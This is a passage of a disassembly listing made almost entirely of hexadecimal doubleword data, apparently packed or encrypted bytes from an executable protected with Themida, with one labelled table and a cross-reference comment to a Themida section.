		dd 0D875EB77h, 90B19EEh
		dd 0F3891F58h, 754BD379h, 0E366278Bh, 63900790h, 7427D050h
		dd 3BEDF40h, 0AF67FFEh,	85E1F301h, 65403A46h, 78C00B17h
		dd 59C40BB9h, 97FF4BDh,	1A5AF8DBh, 2C98268Dh, 82CCC25Dh
		dd 7AECDC65h, 0D8BE0B63h, 0A07F3286h, 7964F545h, 0E97112D9h
		dd 0DD5556FDh, 2B3EF50Ah, 0D131AE05h, 0ED0BE8E6h, 0DC812B66h
		dd 7A50CD01h, 416E75A1h, 7FBBF187h, 0B2EFECBAh,	84BB96B6h
		dd 93F472Eh, 26141CBFh,	0BEAC92C8h, 0B551AF30h,	50B612DAh
		dd 0B43E1730h, 34A7364h, 2D809CF3h, 7CC0685Bh, 808DF0BDh
		dd 9F75E907h, 13FDE58Fh, 0D1D6155h, 6A8D6A02h, 0C2ECAD6Bh
		dd 7DFDBBE9h, 2002A0E9h, 8B16607Bh, 2AC4B7F1h, 5E05CFFEh
		dd 0EFD9595Ch, 166BFB2Ah, 0E948917Dh, 0C007A50h, 5F3EE5B8h
		dd 0C9F5F563h, 12356EA4h, 0DFB88CE2h, 77683941h, 12FD3950h
		dd 130BB003h, 135EB813h, 88BADB8Eh, 0E5B24579h,	4AB558B5h
		dd 0B4F280AAh, 0E14C28E3h, 0CB8A5E3Ah, 17F01392h, 420F8915h
		dd 0EBF281F7h, 0DB5BDAEEh, 51F58C40h, 0B0538667h, 4F25907Fh
		dd 9E61ACEFh, 1D65080Ah, 20C8DA25h, 0E0951730h,	58A2355Bh
		dd 5A20FB1Bh, 163BA19Ch, 19EF39C2h, 0F6CF77B1h,	29FAB800h
		dd 0E1285A9Bh, 0BBEDDBEFh, 2FB9C284h, 8F811824h, 0DAEEA2BBh
		dd 0A069935Eh, 0EF04D1FAh, 8219850Fh, 406A5EAAh, 897F7DFDh
		dd 0FA4E8AF8h, 29CE34FEh, 0FF992E97h, 217B0161h, 6B5A5468h
		dd 0EEAC1CE8h, 21FAE54Bh, 7B05F711h, 68284741h,	4B2E2EB9h
		dd 0D2C857FFh, 218230FEh, 584084A5h, 9EE6981h, 20677125h
		dd 0A6A1A0C5h, 2BDE80E4h, 0E921A169h, 68A1A852h, 0C20B12BBh
		dd 4B362135h, 0D6123DD2h, 0F8641C56h, 87F042BEh, 63D58B40h
		dd 75FBB4A3h, 0B8200CF0h, 0B20FEA31h, 692D5458h, 162DD806h
		dd 21538F0Fh, 6D8C09B0h, 0F7B91057h, 0C72C5D7Bh, 8847604Eh
		dd 5D4854E3h, 6AC00411h, 97BA0FEDh, 0AED7CB49h,	0A46FC17Ch
		dd 187EABCAh, 7C6BC233h, 0FF7E3228h, 890351B0h,	4F4E8437h
		dd 0A71ABD87h, 0BF4E6008h, 719D2D09h, 0D7766042h, 740F549h
		dd 0F7003F65h, 0C9F6816Dh, 9F314725h, 8F1240Ah,	0CB3B51CEh
		dd 0F756F133h, 65F168C0h, 0BE6F4B90h, 80D5E441h, 0BED454EFh
		dd 6445971Dh, 21CE6804h, 0B6C118ECh, 6F28545Bh,	0BE0F826h
		dd 235810C9h, 5E32F976h, 5AAFC052h, 0E6ED4Ch, 70B63B44h
		dd 0C6820F0Bh, 0C11FE90Ah, 0CBE232C1h, 0E902FC27h, 21752CD9h
		dd 0C9C28018h, 0E7D81936h, 0D32F6857h, 0B7A39E11h, 0E1A62553h
		dd 5014A470h, 7B27B413h, 0B8D14A43h, 80C1C2Ch, 74137D25h
		dd 0E77FCED7h, 0B3B4E5E6h, 151A73Eh, 53DD8891h,	2C68EFCCh
		dd 0C9EF0734h, 4362130Bh, 1C025DCh, 1527AF68h, 103FB1E9h
		dd 62EF899Fh, 0ECB24D19h, 7D2EB353h, 259D5AC0h,	2F38146Fh
		dd 764E5AE2h, 0FE70AEB0h, 8289DAC9h, 1F35E9Eh, 4159C828h
		dd 322EC474h, 15250B6Dh, 0DE475501h, 0BFC38E0Fh, 0EC9A55A5h
		dd 1EF964CBh, 0FD5C0299h, 4C98CE4Ch, 9130497h, 0E39AB4C1h
		dd 7B39F73Ah, 1189C13h,	1C900230h, 0FD3F5F89h, 0B0CD06Dh
		dd 907A78E9h, 1F67230Dh, 0C5A1660h, 5018ACC9h, 134BB03Ch
		dd 0FB8D3F5Ch, 0B13BCDE4h, 60933B05h, 0C26B0181h, 0CBDC2923h
		dd 0BF1B1FD1h, 0F514B48Eh, 0BED524AAh, 0FA92C2B3h, 0B62FB629h
		dd 0E1222FCFh, 0FC2B64ECh, 83C22019h, 0B20B4ADFh, 89AA9715h
		dd 0A53DE7h, 0C6623B68h, 2255827h, 34FB036Ch, 0A5C2E0C1h
		dd 0AD81255Dh, 4B498AAAh, 197CEDB8h, 0B773F6E9h, 6748C4EBh
		dd 0B728207Bh, 100966DBh, 5FE67BDDh, 0FE517304h, 0BD02623Bh
		dd 6BA917C5h, 0E9135170h, 8789D923h, 3A5CDC50h,	0E14A5F97h
		dd 580702A7h, 5A41EFD9h, 8E3FF031h, 7E9717C3h, 5C822FF3h
		dd 60F7562Ch, 1C39B211h, 0C2A5CA80h, 35E99AF2h,	882EE978h
		dd 4B3CCAE7h, 3BF9D54Fh, 42B1E8E1h, 0C14A0913h,	875003EFh
		dd 0D330FC41h, 8043019Dh, 88F9891Ah, 21E63EC3h,	0D814D016h
		dd 194D81B4h, 0A7D83B33h, 535D85FBh, 0ED80BC04h, 0ABFD6EC3h
		dd 885BA8C5h, 8E594CEAh, 0F604840Bh, 1FD8A304h,	165EF7BDh
		dd 0BBEC16BAh, 0D16FC22Dh, 3E22B597h, 97C5CAF0h, 14F8705h
		dd 0DA0450DDh, 0E30C8205h, 631F5E79h, 280BE88Ch, 0BE6F816h
		dd 0C3F310Fh, 502A4607h, 0FF56278Ah, 7BDB58D1h,	11B83619h
		dd 0C7F1FE22h, 0BC056D30h, 0A04EBBF6h, 539F5D48h, 0E82D3BCFh
		dd 126218F4h, 2C557931h, 468841Bh, 2750F37Ah, 0BE0D4039h
		dd 2E6716D4h, 7BED917Eh, 8CC82F61h, 0B8030BC3h,	18A2293Ah
		dd 5607BF6Bh, 77D22A62h, 7A0B8959h, 0C11B7485h,	63337768h
		dd 0B850011Bh, 1E4B6545h, 934CCDF8h, 87363065h,	431C7A22h
		dd 0CD97E95Dh, 5189A2A3h, 0E98539DCh, 2DE31177h, 5715A704h
		dd 4E38560h, 0B8D7FC98h, 0DAEBD653h, 49E91FC7h,	18782667h
		dd 4A7C7B64h, 59BE839Fh, 7A9ED6B1h, 42FB8D97h, 92DC5CB9h
		dd 0F181D071h, 28BEC088h, 4DC9D56Bh, 0CC77F690h, 585078A3h
		dd 0F2D20474h, 0F3A684BCh, 2C86802h, 0ECC06256h, 513EBB3Fh
		dd 0B02F05B8h, 7116052Bh, 69E86115h, 7072D28h, 81585950h
		dd 0C40FE9C1h, 0FACA89C4h, 4FD544D8h, 8597D07Fh, 473BCF22h
		dd 0D6F71887h, 24E94208h, 8335B975h, 9D8E0FDBh,	0F1921140h
		dd 0FBDDB8B7h, 8023925Bh, 82C88EEEh, 9069CE5Dh,	32F20B06h
		dd 0D24035EBh, 11C5F6C5h, 7DEC1CE9h, 24E28009h,	0D2BEE80Eh
		dd 0BD4EF0B5h, 6225D270h, 16E4F86Ah, 0EF67E537h, 740B9741h
		dd 8640806Ch, 24AB0559h, 146D126Eh, 845F7E8h, 76AAE07Fh
		dd 17AE540Bh, 7596555Dh, 1687D339h, 4D655577h, 74085681h
		dd 6CD04F02h, 0F22D0F7Eh, 83B920B6h, 9043A98Bh,	5BDE5CA0h
		dd 8C0B1ED3h, 5914BB07h, 807603B5h, 7D51EAC7h, 0EB1BD08Ah
		dd 2D055666h, 7A0F7475h, 91284ABh, 2E1A5B07h, 15E118C2h
		dd 20A46840h, 7D82B59Bh, 50F7934Eh, 0BC6B6D9h, 6D747729h
		dd 68F06D6Dh, 1D3E59DEh, 9CF3C87h, 25C1C6DFh, 195CC331h
		dd 3C48696h, 0B85E51A3h, 28FE4E9Fh, 0F02FE9B6h,	4442F930h
		dd 69F0BEE8h, 21720CEEh, 0EA0C2853h, 6BF20516h,	1C80408h
		dd 8D7825B8h, 0A8C0E975h, 0D520597Dh, 18BFEA4h,	516192Fh
		dd 24C0F995h, 5D79D6A5h, 0FE01782Dh, 695F0B39h,	20590127h
		dd 30C5B450h, 0CB81E24Eh, 8D7061C2h, 168BB0EDh,	52C7E9B7h
		dd 2CFFE0A1h, 125AD040h, 0E866AC04h, 70ED1339h,	0B40C77EFh
		dd 386B86Eh, 0CE80C3B6h, 0F54AD1CDh, 4ED85265h,	5BBFA6B0h
		dd 86E7AD09h, 0FE2DB4E9h, 0F5174CE4h, 815F52C4h, 3AEF714Bh
		dd 38C5D0B3h, 4361BA49h, 0C93BEE2Fh, 0BB736065h, 9CB2774Eh
		dd 2790578Ah, 5D6CBA57h, 80BE59D9h, 0FB2469EDh,	13DD0146h
		dd 0E8B937E9h, 53AA97D2h, 2E3050Ah, 94438142h, 0A3BE0406h
		dd 0BDF31057h, 0BEE6975h, 0C1B6C906h, 4789FBA0h, 5539322h
		dd 6CB873F1h, 0ED72B1ACh, 4952C21h, 978F0FCCh, 18024A0h
		dd 0DCF654C4h, 947B6FE9h, 13BDC215h, 9CB83DD4h,	0AFCA2FADh
		dd 3B087B11h, 0DD309AE5h, 0A40FDB2h, 0A2A86484h, 1B9552A8h
		dd 0DFB1C9CBh, 0CBDE672Dh, 0B5E8B93Fh, 6CED0C3h, 81A81D57h
		dd 9729E340h, 0FB718702h, 1866FB55h, 9D3ECEDAh,	98EA0282h
		dd 8CDAD970h, 0C1DF484Ah, 353D3A7Eh, 4FA744h, 0CD055F40h
		dd 1193263Eh, 0C83B0042h, 5DAF2D22h, 9C63D826h,	0E907503Eh
		dd 45900D5Eh, 90A5EC6h
		dd 0D60116D0h, 6B40F180h, 1A906D44h, 0E735CD01h, 0D54CE967h
		dd 4F7A5E02h, 0F8FA192Ah, 56E3F02Dh, 70015913h,	0B64042C8h
		dd 643F00BBh, 0F3811520h, 3C02787Eh, 0ED8A0F4Dh, 97B8AF2Ah
		dd 3FF8A957h, 155F550h,	0B85ECA8Bh, 42076A46h, 6FDCE5DEh
		dd 0BE04AC13h, 716E7DAh, 1735C0EBh, 0D7AEB31Bh,	0E2C29525h
		dd 0D6DF6ABEh, 52095C15h, 0EC67A168h, 133E2E19h, 472C3F6Bh
		dd 36BFC138h, 45B9609Dh, 8A62C905h, 0BFD901h, 441FC578h
		dd 3D3E0538h, 56FD834h,	482871D8h, 71DFD94h, 0E9171168h
		dd 0FEB2E487h, 0B100C84h, 9DB4575Eh, 6D01F52Fh,	70D8442h
		dd 57E70001h, 0B72C2F44h, 0A8A6ED7Ch, 0A7CFF60Fh, 0EF60279Ch
		dd 5B204764h, 3A67B01Ah, 0EBED259Fh, 7E76B6E2h,	0F43D3056h
		dd 709BC31Dh, 52BF01B0h, 5808814Ch, 0CFA8A23Bh,	0FE024B83h
		dd 0E1E2C416h, 6CB03F6Fh, 0B72F75EFh, 2A124645h, 58513DCCh
		dd 0ED10D456h, 10A4CA0h, 58E2204Dh, 4D70D2F6h, 0D8E91292h
		dd 0D3C950AFh, 3AA4124h, 30DD7DC9h, 615D0C05h, 0EA21810h
		dd 75B85001h, 3B9C78B2h, 0EE04CCFCh, 9F54BB4h, 38FC4CCEh
		dd 0EF4B4448h, 2B345439h, 0D40E61BAh, 0C21AF668h, 8269755Ch
		dd 0DEAE110Bh, 5282E905h, 64DA89CBh, 1DABC820h,	0B2EC8059h
		dd 99618B06h, 0B1EB451Ch, 0A1F02A10h, 3EBB4123h, 4ACB5BBDh
		dd 0E6C07EE0h, 0C6800803h, 0CF528A9h, 0C579E927h, 45E1BA73h
		dd 0C50CFE63h, 58432277h, 8E8B87D2h, 5EB545F0h,	5168600Fh
		dd 145F2264h, 6AC0F5FDh, 21307C58h, 36E7ACA3h, 88006AFFh
		dd 313B2C18h, 12415AD1h, 0CC0C4068h, 1D0BD427h,	0C8011064h
		dd 24685960h, 0C1CF4AF0h, 30AB56ACh, 0FB48EB3Bh, 5D282713h
		dd 4C6FEAA3h, 47E94690h, 1C677ADCh, 83BA2DC0h, 5E189265h
		dd 62D9C2h, 7C353497h, 0F7429161h, 0D725D802h, 6033D14Ah
		dd 0EC484F04h, 82FA9001h, 9D0E78CDh, 142FC7DBh,	0E6E92DCEh
		dd 56BAF780h, 2900323Fh, 709FCA81h, 2EF71151h, 126757D2h
		dd 813B9C2Ah, 1BEE55F8h, 86E03B4Ah, 68782677h, 0E05D1361h
		dd 7FF9F8E9h, 0D23A7AF7h, 0D4BCFC4h, 423FF239h,	1BE9580Ch
		dd 0B814ED4h, 81647408h, 0DA70FFDh, 772D43D6h, 0A326E595h
		dd 0CF2F141Ch, 10E9824Fh, 59530127h, 0B72A73Dh,	22C64EB6h
		dd 4B7F4344h, 52F82FC5h, 5A3421BFh, 0A1613E57h,	0FBA09F09h
		dd 545125C9h, 0D7C5D9ECh, 0BCB6CE68h, 98041C00h, 8ACCE912h
		dd 82EACDC6h, 0A8845FFEh, 968C7ACh, 5AE0F48Bh, 4C30D858h
		dd 1005200Dh, 0B5197141h, 3DD1AE2h, 0A2FA6AC8h,	5F94C9A7h
		dd 1241CB2Bh, 0F84BDF75h, 59667FCDh, 6806799Bh,	31F76BACh
		dd 0F5951563h, 0F6FFDC75h, 615F659Fh, 86C78BE9h, 22F1806Ch
		dd 0A3155006h, 0ED014E05h, 2A73C90Bh, 81EC256h,	3CF4F913h
		dd 4B5C0CC3h, 9F0C2D1Dh, 0FD1AF105h, 0A691DD89h, 5F1625Ah
		dd 4DA7320h, 0F749E44Ch, 0FCA884DBh, 1940489Fh,	48501C97h
		dd 1612E360h, 0CBAAFD91h, 8DF04E66h, 0FEB28389h, 89FBE5F7h
		dd 0CC16F729h, 1EE9FD0Eh, 0E5E114DEh, 0EF67D0AEh, 3249FC0Ch
		dd 65170788h, 1125E949h, 0B8259FADh, 0DE89DA53h, 9A3C6B5Bh
		dd 36E75FFBh, 0FC081026h, 0C5812F3Fh, 335B8Bh, 0C605E7C1h
		dd 60BC5612h, 574A83FEh, 71C77150h, 2E3B7F74h, 41655801h
		dd 0CB296208h, 2B390B55h, 7FDB62CBh, 6BA32A34h,	0BF250BE6h
		dd 4ECAD9ECh, 9F8542FFh, 645C31FDh, 0C0DFD630h,	89DB092Dh
		dd 0E7A15FF8h, 7ABD14E9h, 969F8AE3h, 0F11B093h,	0B8408816h
		dd 0C03CE3EDh, 0C7B1748h, 0FC71E9ECh, 22B8F742h, 93C05FE0h
		dd 0CC756EEBh, 7437746h, 134582F3h, 0C1C3D533h,	306C1BC3h
		dd 78505499h, 7E95098Bh, 43320FF5h, 0D889BEE2h,	48808B65h
		dd 69253635h, 32E9EC32h, 0C6732EBCh, 0D5F6A05Ah, 524AB392h
		dd 5D8F44B9h, 9A70B9C9h, 0D373667Bh, 0DD0A5A67h, 4E1251D3h
		dd 0B556AE36h, 88BE9E52h, 0B7413275h, 5761F07Bh, 9A7F9490h
		dd 0F610BA30h, 0D721C0Ch, 61870F44h, 9FE62E2Dh,	71DF3D3Dh
		dd 785251BBh, 0F7E9A056h, 20BB93Ch, 3DF31D3Eh, 5371A6D6h
		dd 12BEC644h, 0B5EBA2CEh, 1238F3EAh, 30EFB681h,	11256E0h
		dd 0ED038888h, 8212746Bh, 0D4FC71EDh, 853FCA60h, 94A5820h
		dd 0FCC4541Ah, 6F881C41h, 5DA7CE46h, 80FD0F35h,	3E4471EAh
		dd 0C2D8FF96h, 0BDF96999h, 607D4981h, 4BA56E2Eh, 10C0806h
		dd 0EC27F50h, 42F7015Bh, 0A9F03481h, 3898097Fh,	0FB65DF72h
		dd 7254308h, 58EA2980h,	51003CFh, 0E7948CBh, 4918700Bh
		dd 0C7028168h, 841BE56h, 81FA07E9h, 253E3C4Bh, 934C55C6h
		dd 0E971F9B5h, 9B481FFCh, 6802E710h, 3AFE368Dh,	0FCE57B40h
		dd 5E986701h, 0EBB7800Fh, 361D9E51h, 245C2900h,	0B525E598h
		dd 0C05F1DDh, 532AD498h, 3EB06805h, 4CE231D5h, 0ECA28D4Bh
		dd 0C180941Fh, 810801EEh, 0AB767BE6h, 302F204Ah, 3A0A5424h
		dd 0D8DF480Ah, 51DDE442h, 116885B2h, 0A2C78D3Eh, 8000DF56h
		dd 0EEC06CCEh, 2D850F02h, 64E91DF9h, 0EA8FE4F3h, 89026C96h
		dd 5DE88AF2h, 7092F6C8h, 510D182Fh, 0BED602C1h,	2F5796Eh
		dd 0F6B4E936h, 76762F30h, 0B0B051C7h, 0EED0F621h, 6A884C76h
		dd 66C9FE00h, 301CB252h, 9F0D148h, 0C6FAA2E9h, 6E7420F5h
		dd 370952B5h, 0D2AE1033h, 76F6022Fh, 78C08042h,	974AFA4Fh
		dd 5FF6EE48h, 0C62BEE13h, 3F98C9FFh, 59F121ECh,	9257C286h
		dd 7B6DC28Ah, 52E41624h, 89D641EEh, 51888286h, 5EC15F2h
		dd 5B3DC05Eh, 98BAB00Eh, 72316AFEh, 8D663F2h, 0E9B98746h
		dd 0A279C640h, 75C23DB1h, 7EEBC580h, 5A762B62h,	3BE16814h
		dd 0DCFBD3EBh, 0EB6501FAh, 6BF85DE9h, 97E5B64Bh, 0A71374F9h
		dd 871EFC1Ah, 0C1A205B5h, 0B8F455Ah, 1B218468h,	446C19E9h
		dd 4152AB50h, 4F40904h,	0C0F22790h, 5AD72F28h, 5B6FA45Dh
		dd 688239F2h, 2E7927FDh, 0C553CB82h, 0D090C34Fh, 0EA38520Bh
		dd 90BE4B45h, 440DE5F9h, 8546622Eh, 6520FC02h, 17AFC06Ch
		dd 2F133B1Ah, 5739C907h, 7CC60B5Ch, 405B44C1h, 0C57B463Ch
		dd 1A17BA4Fh, 0CE7601BFh, 9CEF7C12h, 0FBA51870h, 9705AABFh
		dd 0EDC09959h, 5B743C0Ah, 6910BE06h, 88974F08h,	120E6AA7h
		dd 0AB8A6CFAh, 0B3D22084h, 92CE313Bh, 29FE10DDh, 0EB9805C8h
		dd 0D9A8F782h, 0D8183C53h, 0CE59771h, 231D161Bh, 0F3FAF092h
		dd 0E88ABDDFh, 21554B04h, 660868C5h, 9F386F49h,	8339FE5Eh
		dd 344FA140h, 483C9057h, 0B610A1EAh, 0D5F71D60h, 0C4B4B2FEh
		dd 0B3E9CB55h, 0A2EF8491h, 8A127AC5h, 60BB0125h, 0C9CC0556h
		dd 569A6D17h, 0CD12D6ACh, 2C98BAD6h, 59770968h,	0EA5D7BCCh
		dd 135756A0h, 54AF0142h, 70FA8952h, 14B55A1Fh, 0FD2FF5B6h
		dd 15538727h, 34781308h, 2594913Ch, 9ED52828h, 0C0F1844Bh
		dd 255B36Fh, 36AFEA81h,	76839BEh, 0D5B392EBh, 2930B10Bh
		dd 162A0F11h, 0F0995CD6h, 37655C9Ah, 4CE5B0A5h,	0D8B15103h
		dd 98CAE980h, 4A2853C1h, 3B31B8CBh, 3AE33F39h, 6110E1EBh
		dd 0E3EA5866h, 793DE265h, 8B40B12h, 0AC77E557h,	1D60271Eh
		dd 67541F68h, 63BE2082h, 0EBAF7627h, 0B5E04D54h, 3C4F4427h
		dd 364ED3F7h, 789D0D66h, 80AB4F34h, 289A05E2h, 9946C09h
		dd 16B245C1h, 0EC420641h, 3E4A87D0h, 0B686F00h,	24210C57h
		dd 0C99F5659h, 2F18DC0Fh, 0B4D3B237h, 7138A1Fh,	0D25AB9h
		dd 1C4E5458h, 0F35C291Bh
		dd 0E90840F9h, 8B2177Eh, 0C159CF04h, 0FB8E08E7h, 0F49F5639h
		dd 9EF38042h, 0E960A808h, 4977AD2Dh, 0B16E5A71h, 0D32E3CAFh
		dd 74C27004h, 0F14FA012h, 0EAA946BDh, 3B4E1h, 14473CB1h
		dd 24EDAE9h, 0B756F288h, 0DD57D322h, 0F690CEFDh, 0A3860D1h
		dd 172732Dh, 0D23D48h, 2A226D9Ah, 5B2F581h, 684B2823h
		dd 0F08DAE5Ch, 26E3A420h, 8C7452h, 0E18102E9h, 0F5270430h
		dd 0C92DC044h, 6C411824h, 2FC11118h, 5541B00h, 7DE9CF89h
		dd 0F19FA917h, 97DA1160h, 0DF49B1DCh, 24357C69h, 0C409BE9Ch
		dd 321EF7Dh, 301190Fh, 927C0A14h, 0EDD95753h, 56B7634h
		dd 2E866850h, 0F0FD61FEh, 7F3312h, 0C0BBF57h, 4801757Ah
		dd 5584B0FBh, 0C091272h, 0C9555EBAh, 0C1BF515Ah, 2E5C8Fh
		dd 2587B861h, 0D49D53F6h, 0A695BFDCh, 0C900BDEDh, 30253A68h
		dd 0C02D8B0Fh, 62035171h, 0C8729CE9h, 5404E198h, 5816EB31h
		dd 7BD6D1FEh, 0CBAF04BAh, 0E109E85h, 4F1C244h, 7FBC0B39h
		dd 0BE788249h, 2DC95377h, 0E946B0DDh, 859E54FDh, 104F796h
		dd 0BF4E7EFFh, 6499ED3Dh, 47EC4BC8h, 30D5D69h, 1758BF82h
		dd 8CFD663Bh, 7512B31Bh, 96B0BB34h, 0CCD251F7h,	5B275A2Ch
		dd 0F8EBF4A5h, 2DAD00F7h, 4CB22251h, 0FA82BD01h, 7A77DEC9h
		dd 0CD8102C6h, 0ED62AA1h, 8D4A980h, 0E91767F6h,	1CA3C7C6h
		dd 0C8D4CB3Ch, 0E2300472h, 0C1374564h, 0D3ABD0h, 32856853h
		dd 29AC28B0h, 61A049E3h, 0E93EC39Dh, 0CFFFB81Eh, 103005A6h
		dd 0E5C5B9BDh, 892CE278h, 501270CBh, 0D90C0BD0h, 67D5F477h
		dd 0B55C14C9h, 0CF3FFD3h, 5FBB361Ah, 82DEB960h,	0FAB58F7Eh
		dd 1BF20B95h, 1F806817h, 2C347779h, 0C8FD0128h,	0E9CD0888h
		dd 9D85402Ah, 0EFF0501h, 0D829670Ch, 1347C030h,	117E1Fh
		dd 1E26A366h, 80130F3Dh, 7A4090A5h, 0DF5ECEF3h,	8D8CA047h
		dd 0E2E98082h, 5B02DAB4h, 0EC18C168h, 63F209C3h, 0DFA96E1Ch
		dd 0DEBD9FD8h, 0A620DB8Ch, 4E4676EDh, 0FEFFC431h, 0C117ACDCh
		dd 0F8E28175h, 63F5CE60h, 6B238AC2h, 0E905E083h, 0EB4BC1Ch
		dd 0DE97534h, 0C59D0B70h, 0CD698C7Dh, 0C910E653h, 8213011Ch
		dd 7FE3E17Eh, 9D708281h, 0B953001Ah, 1E0238DAh,	33B22F68h
		dd 11227A66h, 27CDE29h,	12581A05h, 70D77441h, 50098638h
		dd 82571BF3h, 0A0D4F2h,	0B1D2C305h, 0AA01D526h,	0D330851Eh
		dd 785352C2h, 0ED19F88h, 0C6A2E984h, 0C245B3BAh, 0F40DB2E9h
		dd 0A80162DBh, 0F9CE8803h, 0EA73C97h, 0FE1494F7h, 888B9DECh
		dd 0D669ABF9h, 8F6C20Dh, 0EE968009h, 0BD262718h, 68228CE1h
		dd 0C7777764h, 97467127h, 0F66885Dh, 29E95302h,	67B8FECBh
		dd 0B910D8B5h, 4914979Eh, 2374BE3Eh, 0B8F62997h, 0CE27E90Ah
		dd 3F130512h, 0C79E803Dh, 27B0535Eh, 2F15F8B7h,	0C07A1860h
		dd 179DB620h, 13775CBEh, 3FC2EB24h, 7A38C0DEh, 8BC88325h
		dd 0E582C68h, 1B0C10Fh,	973DE3E9h, 1A58B675h, 96000243h
		dd 71A129ECh, 0AF4DF197h, 0B184A07Dh, 0D3D1F61Dh, 0ABE32104h
		dd 0D4C310D2h, 47782501h, 8C60877h, 0B2108326h,	490C051Eh
		dd 5BF63B54h, 489E0720h, 0E9942152h, 0C38140C8h, 4685FFEh
		dd 0E6307B63h, 902D53FBh, 0C3BD4EB0h, 0AAC1664Dh, 59AEC75Bh
		dd 60526812h, 3064A3B6h, 9F594C4h, 0C05C88E9h, 6A33D927h
		dd 0EEF40A6Ch, 0D1328EECh, 2FDEAA16h, 53289F49h, 647339E8h
		dd 46518AEh, 0C0A06B16h, 5A75E575h, 0C14B311Dh,	6E010697h
		dd 4DAE62F4h, 0AAE660C6h, 9812F61Eh, 57430BAEh,	5C04BB65h
		dd 1E30F2B9h, 684EC828h, 0E170BFEAh, 0C04986E9h, 6BD8F5CFh
		dd 0C49072CCh, 1B21E809h, 0F02404CAh, 818A34EFh, 0C0E8B426h
		dd 52165BFCh, 10EFE288h, 0AA5E8254h, 0A67F8F2Dh, 0FC08633h
		dd 15EB0481h, 8127B328h, 0DC5CE711h, 6CB85D1Fh,	560D8E80h
		dd 0E9251B0Bh, 455AA06Fh, 0A838DD68h, 0D2514CB7h, 5D1844EFh
		dd 17FF1EC7h, 64AAEB28h, 2B5182B7h, 0C452C5DCh,	72D321B4h
		dd 87C5FE8Bh, 1F4FA0Ah,	0D81E60F7h, 8974E70Dh, 9DFBE9D8h
		dd 2DE57BD1h, 563AFC80h, 0BF0190E9h, 6A015099h,	3B0773B2h
		dd 0B33EFD1Bh, 0F516DDE1h, 38BAAC36h, 0F4BF899Bh, 58CB89DEh
		dd 0B095B76Eh, 0D3BF125Bh, 8093A948h, 7A7806EBh, 0A2017643h
		dd 79080BCBh, 0E0D302D9h, 0A5615052h, 2B978B85h, 69DF7CE5h
		dd 26494703h, 5AED5702h, 5D6BE415h, 8831DD0h, 0CF2DFBE5h
		dd 8F590C3Bh, 0FDAB5F5Ah, 4B5B7010h, 0BBBF5707h, 81052043h
		dd 4A789FF7h, 0E70E3576h, 361050E9h, 6DAB5C01h,	0DEE80EA9h
		dd 55DEBDC8h, 0AF73F15Bh, 8BB2A33Bh, 3408051h, 18437F35h
		dd 2BF484E9h, 914DEE3h,	9A32F3h, 0BEC6D0B7h, 905BDF89h
		dd 14C713C4h, 0F9C7ABAEh, 9605F370h, 0E60CCE50h, 1A938ECFh
		dd 80260A4h, 0CBEAA4E9h, 9C2056F6h, 0DF230209h,	0BBAEA39h
		dd 4CBB5D08h, 0F0A958EAh, 0B4371CFFh, 0BD828A38h, 23A940F5h
		dd 0CEC10BECh, 63566AE7h, 1929CBF0h, 2E798615h,	0C58105F2h
		dd 6E20B12Dh, 1E28EA0Ch, 80103E54h, 7A901FD2h, 9440B4E9h
		dd 34F209BFh, 807523F7h, 1B83FAB2h, 3F102FE9h, 682DF346h
		dd 0C909FC06h, 0D00266F2h, 0C0DBF6EBh, 474055E3h, 0DD383015h
		dd 59EE045Bh, 0BEC9F708h, 0C2A2E37Fh, 463D74E9h, 0F80124E7h
		dd 88AD120Dh, 1F13B502h, 17095266h, 81A05FA6h, 799A0D58h
		dd 5D8F701h, 0B2AA4011h, 1516B762h, 8F90AEBCh, 2F6E86C2h
		dd 2D6225Bh, 2613650Ch,	0B33652C3h, 5E26CF1Eh, 228BCC3Ch
		dd 8A09F717h
dword_4F1E38	dd 2367069h, 0E23A2459h, 73C4DD4Ah, 74152191h, 0C0FE1791h
					; DATA XREF: Themida_:0056AC61o
		dd 0C6301304h, 5AF0EC81h, 5360B071h, 0C3A4445Fh, 0A615990Bh
		dd 7C418D13h, 98E90800h, 0F5AC1F5h, 7F4F8286h, 7929F549h
		dd 7D1180B2h, 0C3256F94h, 35326301h, 6905D0F7h,	0BD36F5E8h
		dd 0A37BA40h, 7A937782h, 6EDA92D1h, 7CC0F0E3h, 0BB7EA822h
		dd 57DD880Ah, 0FE128681h, 0F4788AF2h, 930ABEEEh, 1042F805h
		dd 5E2D2F3Eh, 8D3D7ED4h, 20EDC1DDh, 40AAE9D4h, 0C2248071h
		dd 1B3D1C8Dh, 0D57F5C30h, 0D4494B8Eh, 2595522Ch, 0EAC15D24h
		dd 98D93E53h, 4F282960h, 0C8F1CC46h, 0F6DAE915h, 9B8A08A6h
		dd 0E1D10BBEh, 0C89DE158h, 0BA3684BDh, 4045B4F2h, 1156E954h
		dd 415A3596h, 10572A2h,	917CA1C2h, 0D6E3400Dh, 70E5BA4Ch
		dd 5A806BB6h, 7352A68h,	5BA1814Dh, 0F3ED8000h, 0E2B69CC4h
		dd 97E00413h, 4C748166h, 575801CEh, 0D6AF33DCh,	0A30601A3h
		dd 2A7F036Dh, 0A4B788FCh, 0D02D00BAh, 0C0CCA916h, 4679489Ch
		dd 0C34C2945h, 0E9084049h, 0ECC4E05Bh, 4E74A305h, 710130A3h
		dd 0E922B576h, 2C003FCDh, 0C905E8BFh, 0BEF3F40Ch, 40481E92h
		dd 77FEF2EBh, 0A6B4C289h, 0C8D30150h, 0F63AAD44h, 14D1C49h
		dd 6D4E2DF8h, 0BA421090h, 0BF41D25Dh, 0B26B25C0h, 2499A2Fh
		dd 99EEAB3Fh, 304268A6h, 0B3D0D558h, 7BA454B7h,	0BFF6B020h
		dd 0DD830374h, 340DAA3Ah, 0C1070470h, 3A1C5EF6h, 351030CAh
		dd 17075FD7h, 3B880891h, 80DBB685h, 0F89505C6h,	3AF02025h
		dd 0B3F4CDFEh, 0F3010C2Ch, 0E0D42473h, 2DA6A8B1h, 9E4522DBh
		dd 51D75C25h, 56D33BFCh, 3EF8D38Fh, 5713460Ch, 55778C13h
		dd 76CD8102h, 43534E58h, 0B19F8064h, 0DC5997ACh, 8B84926Eh
		dd 0F14BDCA7h, 57E76BEFh, 8A191E58h, 7EEADB06h,	0C6B29097h
		dd 0B7C7FFF1h, 72A56807h, 0B6E5570Bh, 5093892Ch, 0DD01B182h
		dd 0F0A70F79h, 0CB9C306Fh, 78B6BE1Eh, 1FDF27h, 2BCCE6A4h
		dd 12976C2h, 0AB3A1AC6h, 48F2314Bh, 0E4FF4A22h,	0A0D89852h
		dd 0A227622Ah, 25605FE3h, 519D57E4h, 8B71422Bh,	4B70E903h
